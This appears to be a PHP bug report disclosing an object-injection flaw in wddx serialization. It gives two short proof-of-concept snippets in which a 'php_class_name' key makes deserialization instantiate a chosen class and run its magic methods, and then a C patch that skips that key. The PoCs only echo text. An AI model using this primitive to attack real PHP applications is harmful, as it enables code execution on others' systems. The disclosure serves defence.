Description:
------------
PoC 1:
```
class ryat {
	var $hi;
	function __wakeup() {
		echo 'hi';
	}
	function __destruct() {
		echo $this->hi;
	}
}

$array = ['php_class_name'=>'ryat', 'hi'=>'ryat'];
wddx_deserialize(wddx_serialize_value($array));
```
PoC 2:
```
ini_set('session.serialize_handler', 'wddx');
session_start();

$array = ['php_class_name'=>'ryat', 'hi'=>'ryat'];
$_SESSION['ryat'] = $array;
session_decode(session_encode());

class ryat {
	var $hi;
	function __wakeup() {
		echo 'hi';
	}
	function __destruct() {
		echo $this->hi;
	}
}
```

Fix:
```
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
		if (is_struct) {
			ent_type = zend_hash_get_current_key_ex(target_hash, &key, &key_len, &idx, 0, NULL);

			if (ent_type == HASH_KEY_IS_STRING) {
+				if (!strcmp(key, PHP_CLASS_NAME_VAR)) {
+					continue;
+				}
				php_wddx_serialize_var(packet, *ent, key, key_len TSRMLS_CC);
```